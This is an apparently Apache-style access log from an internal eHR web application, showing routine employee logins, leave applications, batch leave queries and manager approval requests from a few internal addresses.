Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:33:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.77 - - [05/Dec/2025:15:33:46 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:33:46 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.77 - - [05/Dec/2025:15:33:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:33:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.77 - - [05/Dec/2025:15:33:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10645 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:33:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10645 192.168.11.77 - - [05/Dec/2025:15:34:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:34:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.77 - - [05/Dec/2025:15:34:10 +0800] "GET /eHR/img/lov.png HTTP/1.1" 200 788 "http://192.168.1.83:8088/eHR/css/default.css?m=20130917" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:34:10 +0800] "GET /eHR/img/lov.png HTTP/1.1" 200 788 192.168.11.77 - - [05/Dec/2025:15:34:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:34:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.77 - - [05/Dec/2025:15:34:17 +0800] "GET /eHR/css/default.css HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:34:17 +0800] "GET /eHR/css/default.css HTTP/1.1" 200 8445 192.168.11.77 - - [05/Dec/2025:15:34:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 12112 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:34:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 12112 192.168.11.77 - - [05/Dec/2025:15:34:30 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 3998 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:34:30 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 3998 192.168.11.52 - - [05/Dec/2025:15:34:58 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:34:58 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.52 - - [05/Dec/2025:15:35:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:35:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.52 - - [05/Dec/2025:15:35:09 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:35:09 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.52 - - [05/Dec/2025:15:35:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:35:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.52 - - [05/Dec/2025:15:35:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:35:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.52 - - [05/Dec/2025:15:35:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.824799774147208 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:35:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.824799774147208 HTTP/1.1" 200 8588 192.168.11.52 - - [05/Dec/2025:15:35:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.824799774147208 HTTP/1.1" 200 14546 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.824799774147208" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:35:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.824799774147208 HTTP/1.1" 200 14546 192.168.11.52 - - [05/Dec/2025:15:35:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:35:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 192.168.11.52 - - [05/Dec/2025:15:35:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7489 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:35:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7489 192.168.11.52 - - [05/Dec/2025:15:35:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 24900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:35:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 24900 192.168.11.77 - - [05/Dec/2025:15:36:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:36:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.77 - - [05/Dec/2025:15:36:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 12112 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:36:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 12112 192.168.11.77 - - [05/Dec/2025:15:36:25 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 3998 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:36:25 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 3998 192.168.11.77 - - [05/Dec/2025:15:36:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:36:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 192.168.11.77 - - [05/Dec/2025:15:36:38 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:36:38 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.77 - - [05/Dec/2025:15:36:48 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:36:48 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.77 - - [05/Dec/2025:15:36:54 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:36:54 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.77 - - [05/Dec/2025:15:36:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:36:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.77 - - [05/Dec/2025:15:36:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7489 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:36:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7489 192.168.11.77 - - [05/Dec/2025:15:37:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 57601 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:37:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 57601 192.168.11.77 - - [05/Dec/2025:15:37:10 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120420 HTTP/1.1" 200 5228 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:37:10 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120420 HTTP/1.1" 200 5228 192.168.11.77 - - [05/Dec/2025:15:37:11 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:37:11 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 192.168.11.77 - - [05/Dec/2025:15:37:11 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:37:11 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.11.77 - - [05/Dec/2025:15:37:11 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:37:11 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 192.168.11.77 - - [05/Dec/2025:15:37:11 +0800] "GET /eHR/img/workflow/start.png HTTP/1.1" 200 2344 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:37:11 +0800] "GET /eHR/img/workflow/start.png HTTP/1.1" 200 2344 192.168.11.77 - - [05/Dec/2025:15:37:11 +0800] "GET /eHR/img/workflow/user_sign_approve_key.png HTTP/1.1" 200 3099 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:37:11 +0800] "GET /eHR/img/workflow/user_sign_approve_key.png HTTP/1.1" 200 3099 192.168.11.77 - - [05/Dec/2025:15:37:11 +0800] "GET /eHR/img/workflow/process.png HTTP/1.1" 200 2728 192.168.11.77 - - [05/Dec/2025:15:37:11 +0800] "GET /eHR/img/workflow/process.png HTTP/1.1" 200 2728 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:37:11 +0800] "GET /eHR/img/workflow/end_approve.png HTTP/1.1" 200 2362 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:37:11 +0800] "GET /eHR/img/workflow/end_approve.png HTTP/1.1" 200 2362 192.168.11.77 - - [05/Dec/2025:15:46:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7489 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:46:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7489 192.168.11.77 - - [05/Dec/2025:15:46:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:46:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.52 - - [05/Dec/2025:15:48:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:48:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.52 - - [05/Dec/2025:15:48:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:48:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.52 - - [05/Dec/2025:15:49:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:49:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.52 - - [05/Dec/2025:15:49:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:49:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.52 - - [05/Dec/2025:15:49:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7489 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:49:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7489 192.168.11.52 - - [05/Dec/2025:15:49:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 24627 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:49:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 24627 192.168.11.52 - - [05/Dec/2025:15:49:14 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120421 HTTP/1.1" 200 5228 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:15:49:14 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120421 HTTP/1.1" 200 5228 192.168.133.93 - - [05/Dec/2025:15:52:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:52:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:52:38 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:52:38 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.133.93 - - [05/Dec/2025:15:52:41 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:52:41 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:52:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:52:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.133.93 - - [05/Dec/2025:15:52:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:52:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.133.93 - - [05/Dec/2025:15:52:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:52:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 